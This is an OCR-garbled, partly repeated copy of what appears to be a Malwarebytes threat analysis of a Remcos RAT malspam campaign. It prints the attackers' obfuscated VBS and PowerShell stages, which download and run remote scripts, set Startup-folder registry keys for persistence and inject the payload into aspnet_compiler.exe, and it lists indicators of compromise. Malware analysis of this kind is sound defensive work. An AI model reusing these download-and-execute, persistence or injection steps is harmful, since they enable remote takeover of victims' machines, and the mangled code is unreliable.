YFTDRSDHTFYGUH, 0

Although the script above is lengthy due to obfuscation, it ultimately amounts to the following simple powershell command

which downloads and executes a second Visual Basic script:
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(CreateObject ("WScript.Shell”)).run powershell IEX New-Object
System.Net.WebClient.Downloadstring( 'https://ia601401.us.archive.org/31/items/all_20210518_202105/ALL.TXT")

The first downloaded script (ALL.TXT) also uses simple deobfuscation techniques to perform a few simple tasks. The
$JUANADEARCO variable in this script contains Base64-encoded data which is decoded by the last line of the script (this

data is shown as decoded in the highlighted box in the image below). This script performs the following actions:

¢ Creates the directory C:UsersPublicRun

¢ Downloads Run_02_02_02.TXT (saved as C:UsersPublicRunRun.vbs)

» Downloads Lerveri.txt (saved as UsersPublicRun—Run+++++++++.ps1)

e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup to “C:UsersPublicRun”
o Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup to “C:UsersPublicRun”

The shell folder registry entries are legacy keys that are still existent for backwards compatibility. Setting the “Startup”
value of these registry entries to the malware’s directory of execution effectively sets the contents of that directory to

execute upon system startup, ensuring persistence.

FUNCTION DAFDSC5B9266824C4EEFCB3EQC69FD3FAA($SD4FD5C5B9266824C4EEFC83EQC69FD3FAAE)
{
$D4FD5C5B9266824C4EEFCBIEOC69FD3FAAX = "Fr'+"omBa"+"se6"+"45tr"+"ing"
$DAFD5C5B9266824C4EEFC8IEOC69FDIFAAG =
[Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFCB3E0C69FD3FAAX ( SD4FDSC5BI266824C4EEFCS83EQC69FD3
FARE) )
return $D4FD5C5B9266824C4EEFCE3E0C6IFDIFRAG
}
STYFGYTFFFYTFYTFYTFYT = 'https://ia601502.us.archive.org/29/items/Lerveri/Lerveri.txt’
$JUANADEARCO = '$FVYTFYTFYFYFYFYFGY="C:\Users\Public\Run"

SYGUYGNUHYGUYGYUGYGUYGYUG = "Cr ory" .Replace | "#######A#HHHHH" , "eateDirect ")
$HIUHIUHJIUHUYUUIHYIUIUBI = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HEKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
S$JYHGYUGUYGFYTFDTRDTRDFTR = "C:\US—-—-om oo c\Run" .Replace("- =", "ers\Publi")

$BFYHGTFYHFHUYGYUBYUYYUYG ="C
$FYTFYHIGTFYTGF6HG = 'C:\U-
$FGYTFHTFUGHUYYGYUG = 'C:\ --s1'.Replace("----
$YFGYTFHYTFYTFGTRDTRDT = "C:\+++++++++4++ . psl” .Replace( "+++++4++444", "Users\Publich—----] Run+++++++44")
[system.io.directory]:: $¥GUYGNUHYGUYGYUGYGUYGYUG( SFVYTFYTFYFYFYFYFGY)

start-sleep -s 5

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup” -Value $JYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup"” -Value $BFYHGTFYHFHUYGYUSYUYYUYG;
start-sleep -5 5

-blic\Run".Replace(" - ¢ ":\Users\Pu")
,"sers\Public\Run\Ru")

-=","Users\Public\-

--n.vbs'.Replace("--—-

~Run+++++++4+.p")

Function vip

{

start-sleep -s 5

if( (New-Object ""N'e T ."W e B'C'1'i’e’N'T")."'D'o"w N 1"0"A"d"F i"1"e"
('https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02 02 02.TXT',$FYTFYHIGTFYTGF6HG) ) {
}

start-sleep -s 5

if( (New-Object ""N e T ."W e B'C'17i"e’N'T")."'D'o"w N 1"0"A"d"F i"1"e" ($TYFGYTFFFYTFYTFYTFYT,
$FGYTFHTFUGHUYYGYUG) ) {

}

start-sleep -s 3

powershell -winde 1 -noexit -exec bypass -file SYFGYTFHYTFYTFGTRDTRDT

}

IEX vip'

SHBAR = D4FD5C5B9266824C4EEFC83ENCEIFD3FAA(SJUANADEARCO) ; $Run=($HBAR -Join ' ') |I'E'X

Run.vbs is obfuscated in a similar fashion to the initial Visual Basic script:

Dim FDGFDHGFJGKUGK

Set FDGFDHGFJGKUGK= CreateObject("WScript.Shell")
HVJHGJ¥GUGKUGU="po"

HHGJUGLHIUGUGKUG="wers"
KUHIHGKYFUYTFUYUYFU="hell -ExecutionPolicy "

DHYJGKUGKUGFUTYTFUY = " Bypass &"

GFDRYTFUGUTUYURFUTR ="'C:\Users\Public"

DTFYHIGIGIYGUTRYTFY = "\ —-—-- Run+++++++4++.psl’"

0K =

HVIHGJYGUGKUGU+HHGJUGLHIUGUGKUG+KUHIHGKYFUYTFUYUYFU+DHYJGKUGKUGFUTYTFUY ++GFDRYTFUGUTUYURFUTR+DTFYHIGIGIYGUTRYTFY
s

FDGFDHGFJGKUGK.Run OK,0
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This script (deobfuscated below) is responsible only for execution the main powershell script which contains embedded

binaries, encoded in hex in plaintext.

powershell -ExecutionPolicy Bypass & 'C:\Users\Public\----- Run++++++++44.psl’

One of the binaries encoded in —Run+++++++++.ps1 is the Remcos payload which is loaded into the legitimate

Windows binary aspnet_compiler.exe. The following function in the powershell script loads the Remcos PE into the binary:

[Reflection.Assembly]: :Load($H5) .GetType(\ 'VBNET.PE\').GetMethod(\ 'Run\').Invoke($null, [object[]] (
\'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\',$H1))

Although all of the analyzed Remcos samples of this campaign since January 2021 call back to the same IP address and port,
no actual C2 traffic has been observed. All of the script downloads have pointed to addresses on the legitimate website
us.archive.org, and the payloads have connected (though only via TCP handshake) to the IP address 185.19.85[.]168 on port
8888.

Because this IP address has not changed over several months, we investigated the passive DNS records to see if the
infrastructure may have been used in other recent attacks. We found that this IP address had the following resolutions over

the last few months:

Address First Seen Last Seen
shugardaddy.ddns.net 26 May 21

ch-pool-1194.nvpn.to 24 May 21 30 June 21
tippet.duckdns.org 13 May 21 16 May 21
mail.swissauto.top 29 May 20 11 May 21
randyphoenix.hopto.org 4 April 21 14 April 21

Examination of this IP address revealed several hosted services on multiple ports. The highlighted date range above is
interesting as it appears to be a mail server, and Spamhaus Zen classifies this address as blocked due to spam. Furthermore,
analysis also revealed that the #totalhash malware database contains malware associated with this address going back as far
as 2013. Correlating additional malware associated with this address showed several other versions of Remcos samples

connecting to the same IP (many to shugardaddy.ddns.net port 5946) — a few recent samples are shown below:

Date Last
SHA256 Hash
Seen

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl 6 Jul 21
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e 5Jul 21
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a 29 Jun 21
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd 25 Jun 21
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2 25Jun 21

d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36 21 Jun 21

One identifying factor from this campaign is the use of us.archive.org to host payloads. Although this is not unique to
malware campaigns in general, it is unique to the Remcos campaigns we have analyzed — only the VBS method of

distribution has been observed to display this behavior.

In an analysis from Morphisec in March of this year, an HCrypt loader sample was analyzed that demonstrated a similar
infection chain to the Remcos samples discussed above. Although the stages and scripts are not identical, the intermediary

steps share a few similarities, such as the file names of the downloaded scripts ALL.txt, Server.txt, and in newer samples,
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Bypass.txt. The scripts also have a few function names in common, but the HCrypt samples have anti-analysis and anti-virus
evasion functionality not seen in the Remcos samples. Further research is required to determine whether this set of scripts is

a generically available package, or specific to a particular actor and being re-used across campaigns.

Although the actor or group behind this campaign is not known, the sporadic nature of the emails distributing this malware
suggests that it could be targeted in nature. Remcos is a mature trojan that has evolved over many years; though the basic
capabilities have remained the same, the methodologies of distribution and installation continue to change. Because it is
software that can be purchased openly online, it is difficult to trace or attribute usage to a particular actor. However, given
the consistency of network infrastructure and installation methodology, it is possible that the motivation or actors behind
these attacks could be identified. Malwarebytes analysts continue to monitor and track this threat and will update detections

and indicators as needed.

Protection

Malwarebytes protects users from Remcos by using real-time protection.

@ Ma

It is no longer a threat to your computer

ware automatically quarantined

Type: Malware
Name: Trojan.MalPack.DLF
Path: ..\Tax Returns Assessment Forms to be signe...

References
https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly
https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers

https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service

I0Cs

Analyzed Samples:
Type Name / Subject SHA256
Email Fwd: Appraisal Report for your

673b315a95b8c816502ec0dc3cae79cf14e0d7c09139c2fc4b9202fbC
Subject Loan Application-1100788392210

Attachment = Appraisalreportl1100788392210.zip ~ 4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a

Extracted

S | Appraisal..vbs 1f8853601030ad92bd78fd3f0fbf39eacd2f39f47317914b67aa26dfd:
ample

Remcos VB Scripts:
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£{38f736e90ae8aa04e5f71acc8d5470c08ef8841c16087b6710a388
6f4f4f4b980e471c5f8f5d0d95bff5a7ec98e3e2377f18f7fc0d44828cbe33a6

Related Remcos Samples:

Other IOCs:

15cf9daf5bad1a5a78783f675eb63850e216a690e0f3302738ce3bd825ba6fcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39ce1ef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13c79fd210290e7{82cefce 14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95ff662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
a54f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2be1f4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082¢495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1e1ce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caa9e1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
€06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fe0e
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18¢c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
ia601401.us.archive.org
ia601502.us.archive.org
1a601405.us.archive.org
1a601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
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mail.swissauto.top

randyphoenix.hopto.org

Related Remcos Samples:

Other I0Cs:

15cf9dafSbad1a5a78783f675eb63850e216a690e0f3302738ce3bd825babfcl
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e
8d0dfc2239405eebc7a9d5483492a0225963fae4c110ecbd12f1f39celef937a
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cab4
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2
d7aede3e0703ce5ec7bb4c333d4ddb6551fb5032825e756b7132367625107a36
aB80c2e71f7cc69a729035941d13¢79fd210290e7{82cefce 14ceef7dba3f3026
1aa8163fc4947fec127350aebc420e4832a5e7a3430109201f6796fc12292dfc
4a7d54b6013b6296df3576a8d62f00cbc4af18fbbbfa97b831c38c664b4d70ce
¢55dffdcb320a06872faadcc7777bafd81051a17533e919fbee3fc27e8f47135
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
59aafb3dd9c6cdb95£f662299e1faf3efb01d5ef8479dbbb8032b4b9cb3c3d91
adf94da54bc49abc6fdb2a36523eb726f26dacd5598a0fdc64e61b8d500edad8
1d969ace725bf5185e64c3c4abab122a3ff4eaafe25f56bd8c1d7b7ba2df0aac
ab4f4ee320b21c1cfde3358a25131476127b9fb1fd5cad9fd03fa2bel1f4fd0e2
92a7e167629bd14c88a03ef1b6719acd143082c495972a829f20cc588fd6e084
46b1d3c565a615b2df02a567f507a2dc7f75d088fc2b52b1f1e1ce7a92594175
1a7ceaddf547d47cf7d2d7eda0357d38f489eaeb3b06ea3027ae87df6e5c8195
47287127bcc7bf1502d8b84af3c9050a6b46caade1558ab27a2c1b0883505b15
509fb00b3a458a86563737c0ce278f6fb713eafe90da7e14aa0d54566e172a81
e06220108f931bb43ecf136844cdfede4b9albbc637b6ff8a3870710e709fele
109a40435ad446c7b03af30bb049f55275a659c0271fa7a8a1a59d5871d18c10
0fe5a7d7d6a2c077b4b641f4d2077f2fa476a2317283323801bed7a7a6770906
a465bb35f4e7bafb2feal7156c39daee286e49c3f10463ecb8d29766e2d0b200
0d74a33006727ab086e281681cc8ee3d71ee7843f19b6fa52a86efc92b0444al
5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
5ca6ae0cf402083bb06f267962b62d812151c8193a6b726ef1b84a2ed7ca5ef2

185.19.85.168
1a601401.us.archive.org
1a601502.us.archive.org
ia601405.us.archive.org
ia601406.us.archive.org
shugardaddy.ddns.net
ch-pool-1194.nvpn.to
tippet.duckdns.org
mail.swissauto.top

randyphoenix.hopto.org

This blog post was authored by Erika Noerenberg

Introduction

Over the past months, Malwarebytes researchers have been tracking a unique malspam campaign delivering the Remcos
remote access trojan (RAT) via financially-themed emails. Remcos is often delivered via malicious documents or archive
files containing scripts or executables. Like other RATs, Remcos gives the threat actor full control over the infected system
and allows them to capture keystrokes, screenshots, credentials, or other sensitive system information. Unlike most RATs

used by malicious actors however, Remcos is marketed as an administrative tool by the company Breaking Security which

sells it openly on their website.
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Distribution

Remcos often infects a system by embedding a specially-crafted settings file into an Office document, allowing an attacker
to trick a user to run malicious code without additional notification. This variant of Remcos has been observed to be
distributed via targeted spam emails with an attached archive file. The emails and attachment names have been primarily

financially-themed; an example email is shown below:

: Appraisal Rep:

Message

_ ¥ ] m 11
x el 5 B F e & 3 i - aﬁ »
Delete  Reply Reply Forward Move Mark Categorize Follow Translate | Zaom
Al - Unread  + up -

Delete Respond Quick Steps . Move Tags . Editing Zoom ~

cbab142506 67ble29.center 2add675¢

@8d855b2d7a 0cc189188576c840.com 1 5/21/2021

Fwd: Appraisal Report for your Loan Application-1144325779952

i Appraisalreporti114432...
2 KB

[redacted

For illustration, the following table lists a sample of email subjects and attachment names from 2021 by date:

Date  Subject Attachment Name Contents
Separate
Remittance
21 Advice: paper Payment Advice.img Payment Advice.vbs
Jan document no —
9604163
Appraisal Report
26 for your Loan . . Appraisal.vbs
o Appraisal.reportl1100335467734.zip
Apr Application- Property.hta*
11003354677341
Fwd: Appraisal
Report for your
li/?ay Loan Appraisalreportl1100788392210.zip Appraisal..vbs
Application-
1100788392210

Fwd: Reminder:
28 Your July
Jun Appointment-
11002214991

transaction_completed11003456773311..zip ~ Report-Slip.vbs

Fwd: Reminder:

Your July . . Report-

6 Jul transaction_completed11003456773312.zip
Appointment- 11003456773312.vbs
11003456773312
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In most Remcos spam campaigns, the payload is an executable contained in an attached archive (.zip) or disk image (.img)
file, though malicious documents are also sometimes used. In this campaign however, the emails contain a zip archive
containing a Visual Basic script (.vbs) which downloads and executes additional scripts and finally installs the Remcos

payload.

*Eariler versions also included a “Property.hta” file which only comprised the VB script wrapped in HTML as seen below.

Interestingly, the body of this HTML consisted only of the text “demo”, which indicates this might have been test code.

http-equiv="Content-Type" conten xt/html; charset=utf-8"

language="VBScript"
Window.ReSizeTo 0, @
Window.moveTo -3000,-3000
Dim ox
Set ox= CreateObject("WScript.Shell")

#b ' .Replace('#','e').Replace . ' ‘C').R"
‘ent");$V000 = 'D3$$$$$$$$3%n plac ,'loadStri').Replace('$$$$$$$$$$$", ‘ow') ;$vl =

SEEEE&EEE&E00( ' 'https://1a601509.us.archive.org/35/items/

($v9999
aa+bb+cc+dd++ee+gg+kk+" "
ox.Run 0K,@

self.close

Analysis

Remcos is a fully-functioning RAT that gives the threat actor full control over the infected system and allows them to collect
keystrokes, audio, video, screenshots, and system information. Because it has full control, Remcos is also able to download
and execute additional software onto the system. This Remcos distribution utilizes a series of scripts that ultimately results
in the injection of a Remcos payload into the Windows system binary aspnet_compiler.exe. A sample infection chain for

this variant is shown below:

- [
-l N5

Phishiny ; PS Downloads
'S Zip Atiachment VB Script and Exacuiss

VB script
& .';
— le_) - = ¢—) -5 L,
_— _—
PS Downloads PS Downloads ~ Embedded PE
Downloaded Downloaded
V8 Script and Executes VB Script and Executes injected into
VB script VB script  aspnet_compiler.exe

The samples analyzed below originate from the attachment Appraisalreportl1100788392210.zip (SHA256
4e712de8a3d602ccf55321a85701114c01f9731af356da05fb6e3881a13bb23e). As with all analyzed samples, the the
infection chain followed the process flow above; the initial Visual Basic script initiates a series of download and execution

of obfuscated scripts that eventually result in the injection of the final Remcos payload into aspnet_compiler.exe.

Page 37 of 42



https://blog.malwarebytes.com /threat-analysis/2021/07 /remcos-rat-delivered-via-visual-basic/

Dim
RWESTRDYTFY¥GUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYI7GI6FUSDY4SYDSUGFI7GOHB7GI6FUSDYDUGFYI7GUHUGYFTDRSGERHTCIVY
KUBL

Set
RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL= CreateObject("WScript.shell”

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUKNBYVUYTCRXEZXTCYUVBUIN="p"

DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFGVBHGINHBGMF DSFGHIKHNBNGMFCDXFCGVHBIJNMKHIGFDRSTFGYHUJ = "OWe"
VFHTTTTTTTTTTTTTTGSRBHGRFCVDHGBTFNYGTYRDTSETRVDBTFNYGNFTRT SERDTFYKGUYESRVDTFBYNGHUI ="RsHe"

DTHFBTYGNUYBTHVRGCVHTBJYNGKUHMNYJBTHVRGHCTBIYNHVECSZDGCHINBRNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIO
JRTDVFBYUNGHIOJ = "L"

ETRCHTVIYTCRERXTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCREEZWEXTRCYUVYBIUYUTYRTETRYCTUVY IUOTIUYTRTET
XRCYVUYBU ="L

$SETRDYTFUYDTRYTUY='DoXRTYTCUVYBUIOINUYVUTCYUVBUIing' .Replace( 'XRTYTCUVYBUIOINUYVUTCYUVBUI', 'wnloadstr'); $SETRTC
YVYBETRYTJUYG =

'WRCYTVYBUYVTCRYCTVUYBIVTCYTent ' .Replace( 'RCYTVYBUYVTCRYCTVUYBIVTCYT', 'ebCli'); $T4RDTHFTJIGJKHL="'ND¥TFUYGIUHYTDRY
TFUYGIUt' .Replace( 'DYTFUYGIUHYTDRYTFUYGIU', 'e"); $SETRDYFYGUIHIJ
='https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT';$RTDYUGHIOJ="(NewYERe'.Replace('YEA', -
Obj');$DYTFYGUHI="ct

System. $T4RDTHFTIGIKHL . § SETRTCYVYBETRYTJUYG) . $SETRDYTFUYDTRYTUY ( SSETRDYFYGUIHIJ) ' ; SRTDYUGIO=I"E X

($RTDYUGHIOJ, SDYTFYGUHI -Join '')|I E X"

FESGRDHTFIGYKFTHRGSEFGRHDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHATF JGUKHLIUG
YFTDRSDHTFYGUH =

ESFGRDHFJGHBKIGHFGDZGXFHCGIJVHKBIKHVIGHCFGXKDFXGCHIBHFGFTSRESTRDYFUGY THUNBY IVUTCYRXTERCTVYBUNIMNUBYVUTCYRTXEXRCTVY
BUENBYVUYTCRXEZXTCYUVBUIN+DCGFVHINNGFCSDFGVHIGFCXDGVHINKHGFDFCVBHGINHBGMFDSFGHIKHNBNGMFCDXFCGVHBINMKHIGFDRSTFGYH
UJ++VEHTTTTTTTTTTTTTTGSREEGRFCVDHGBTFNYGTYRDT SETRVDETFNYGNFTRTSERDTFYKGUYESRVDTFBYNGHUI+DTHFBTYGNU¥YBTHVRGCVHTBJ Y
NGKUHMNYJBTHVRGHCTBJYNHVFCSZDGCHINBKNBVCESECTRVFBYUNGHIJOUYHTGRTDFBYUGHIJUYHTRFDTFYUGHIOJRTDVF BYUNGHIOJ+ETRCHTVI
YTCRERKTRCYTVUYBIUYUTFRTESTRYJTYGIUYUTYRTXEZXTRCYTUVYBIUYUTYCRXEZWEXTRCYUVYBIUYUTYRTETRYCTUVYIUOIUYTRTETXRCYVUYR
LI

RWESTRDYTFYGUHGYFUTDRYSETRDTFUYGIUIYFUTDRYSETYRDTUFYITGI6FUSDY4SYD5SU6FI7GOHB7GI6FUSDYDUGFYI 7GUHUGY FTDRSGERHTCIVY
KUBL.Run

FESGRDHTFIGYRFTHRGSEFGREDTYGKUHGYFTDRSESRDHTF YGUKHGYFTDRSERDHTFYGUHIHUGYFTDYRSDTFYGUKHILUGYFTDRSERGDHTFJGUKHLIUG
YFTDRSDHTFYGUH, 0

Although the script above is lengthy due to obfuscation, it ultimately amounts to the following simple powershell command

which downloads and executes a second Visual Basic script:

(CreateObject ("WScript.Shell”)).run powershell IEX New-Object
System.Met.WebClient.Downloadstring( 'https://ia601401.us.archive.org/31/items/all 20210518 202105/ALL.TXT')

The first downloaded script (ALL.TXT) also uses simple deobfuscation techniques to perform a few simple tasks. The
$JUANADEARCO variable in this script contains Base64-encoded data which is decoded by the last line of the script (this

data is shown as decoded in the highlighted box in the image below). This script performs the following actions:

¢ Creates the directory C:UsersPublicRun

* Downloads Run_02_02_02.TXT (saved as C:UsersPublicRunRun.vbs)

* Downloads Lerveri.txt (saved as UsersPublicRun—Run+++++++++.ps1)

e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerUser Shell FoldersStartup to “C:UsersPublicRun”
e Sets HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerShell FoldersStartup to “C:UsersPublicRun”

The shell folder registry entries are legacy keys that are still existent for backwards compatibility. Setting the “Startup”
value of these registry entries to the malware’s directory of execution effectively sets the contents of that directory to

execute upon system startup, ensuring persistence.

Page 38 of 42



https://blog.malwarebytes.com /threat-analysis /2021 /07 /remcos-rat-delivered-via-visual-basic/

FUNCTION DAFD5C5B9266824C4EEFCB3EOC69FD3FAA| SD4FD5C5B9266824C4EEFCB3ENC69FD3FRAE )
{
$DAFD5C5B9266824C4EEFCBIEOC69FD3FAAX = "Fr"+"omBa"+"se6"+"45tr"+"ing"
$D4FD5C5B9266824C4EEFCBIEOCE9FD3FARG =
[Text.Encoding]::Utf8.GetString([Convert]::$D4FD5C5B9266824C4EEFCB3E0C69FD3FAAX ($D4FDSC5B9266824C4EEFCS83E0C69FD3
FAAE) )
return $D4FD5C5B9266824C4EEFC83E0C69FD3FAAG
+
S$TYFGYTFFFYTFYTFYTFYT = 'https://ia601502 Jus. archive.org/29 /‘:Ltfﬂs:’Lerveri/Ierverl JEXE'
$JUANADEARCO = 'SFVYTFYTFYFYFYFYPGY="C:\Users\Public\Run"
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr ory" .Replace | "#i#i####A###HHH#E" , "eateDirect ")
$HIUHIUHJIUHUYUUIHYIUIUHI = "HECU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
SGVFHTFYUGRTYUGYFTFYYUH= "HRCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
STYHGYUGUYGFYTFDTRDTRDFTR = "C:\UsS—-—-==———————~ c\Run".Replace("-——-———m—muuuu ", "ers\Publi")
SBFYHGTFYHFHUYGYUBYUYYUYG ="C-----—=—mm== blic\Run".Replace("-=========—= ", ":\Users\Pu")
SFYTFYHIGTFYTGF6HG = 'C:\U- ,"sers\Public\Run\Ru")
SFGYTFHTFUGHUYYGYUG = 'C:\- sl'.Replace("----
SYFGYTFHYTFYTFGTRDTRDT = "C:\++++++++4++.psl” Replace( "++++++++4+4", "Users\Publich--~--] Run++++++++4")
[system.io.directory]:: $YGUYGNUHYGUYGYUGYGUYGYUG( SEVYTFYTFYFYFYFYFGY)
start-sleep -s 5
Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup” -Value SJYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup"” -Value $BFYHGTFYHFHUYGYUSYUYYUYG;

start-sleep -s 5

--n.vbs'.Replace("----

Runt++++++++.p")

Function vip

{

start-sleep -s 5

if( (New-Object ""N e T°."We B C'l'i'e N T")."DowN 1l oAdFile"
('https://ia601406.us.archive.org/32/items/run-02-02-02/Run_02_02_02.TXT',SFYTFYHJGTFYTGF6HG) ) {
}

start-sleep -s 5

if((New-Object "'N'e T . W e B'C'1l'i"e N T")." Do'wN 1l oA d F il e"(STYFGYTFFFYTFYTFYTFYT,
$SFGYTFHTFUGHUYYGYUG) ) {

}

start-sleep -s 3

powershell -windo 1 -noexit -exec bypass -file $YFGYTFHYTFYTFGTRDTRDT

}

IEX vip'

$HBAR = D4FD5C5B9266824C4EEFC8IENCEYFDIFAA ( $JURANADEARCO) ; §Run=($HBAR -Join '')|T E°X

Run.vbs is obfuscated in a similar fashion to the initial Visual Basic script:

Dim FDGFDHGFJGKUGK
Set FDGFDHGFJGKUGK= CreateObject("WScript.Shell")
HVJHGJYGUGKUGU="po"

HHGJUGLHIUGUGKUG="wers"

KUHIHGKYFUYTFUYUYFU="hell -ExecutionPolicy "

DHYJGKUGKUGFUTYTEFUY " Bypass &"

GFDRYTFUGUTUYURFUTR "C:\Users\Public"

DTFYHJGIGIJYGUTRYTFY = "\--—-- Run+++++++++.psl' "

0K =

HVIHGJYGUGKUGU+HHGJUGLHIUGUGKUG+KUHIHGKYFUYTFUYUYFU+DHYJGRUGKUGFUTYTFUY ++GFDRYTFUGUTUYURFUTR+DTFYHIGIGIYGUTRYTFY
o

FDGFDHGFJGKUGK.Run OK,0

This script (deobfuscated below) is responsible only for execution the main powershell script which contains embedded

binaries, encoded in hex in plaintext.

powershell -ExecutionPolicy Bypass & 'C:\Users\Publiel----- Run++++++444.psl

One of the binaries encoded in —Run+++++++++.ps1 is the Remcos payload which is loaded into the legitimate

Windows binary aspnet_compiler.exe. The following function in the powershell script loads the Remcos PE into the binary:

[Reflection.Assembly]: :Load($H5).GetType(\ 'VBNET.PE\').GetMethod(\'Run\').Invoke($null,[object[]] (
\'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe\',6 $H1))

Although all of the analyzed Remcos samples of this campaign since January 2021 call back to the same IP address and port,
no actual C2 traffic has been observed. All of the script downloads have pointed to addresses on the legitimate website
us.archive.org, and the payloads have connected (though only via TCP handshake) to the IP address 185.19.85[.]168 on port
8888.
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Because this IP address has not changed over several months, we investigated the passive DNS records to see if the
infrastructure may have been used in other recent attacks. We found that this IP address had the following resolutions over

the last few months:

Address First Seen Last Seen

shugardaddy.ddns.net 26 May 21

ch-pool-1194.nvpn.to 24 May 21 30 June 21
tippet.duckdns.org 13 May 21 16 May 21
mail.swissauto.top 29 May 20 11 May 21
randyphoenix.hopto.org 4 April 21 14 April 21

Examination of this IP address revealed several hosted services on multiple ports. The highlighted date range above is
interesting as it appears to be a mail server, and Spamhaus Zen classifies this address as blocked due to spam. Furthermore,
analysis also revealed that the #totalhash malware database contains malware associated with this address going back as far
as 2013. Correlating additional malware associated with this address showed several other versions of Remcos samples

connecting to the same IP (many to shugardaddy.ddns.net port 5946) — a few recent samples are shown below:

Date Last
SHA256 Hash
Seen

15cf9daf5bad1a5a78783f675eb63850e216a690e0£3302738ce3bd825babfcl 6 Jul 21
Oea2e136c0604fe2336a37c9d7b5a6150abd58e48311fa625ea375468189931e 5Jul 21
8d0dfc2239405eebc7a9d5483492a0225963faedc110ecbd12f1f39celef937a 29 Jun 21
22634cbaf1a60ca499a9b692aae881cffdaf205a4755ee34915e5512ea87cabd 25 Jun 21
898020967dbec06a60b63269d54b15ad968e2f1146f10fdbf22e79e2339425d2 25 Jun 21
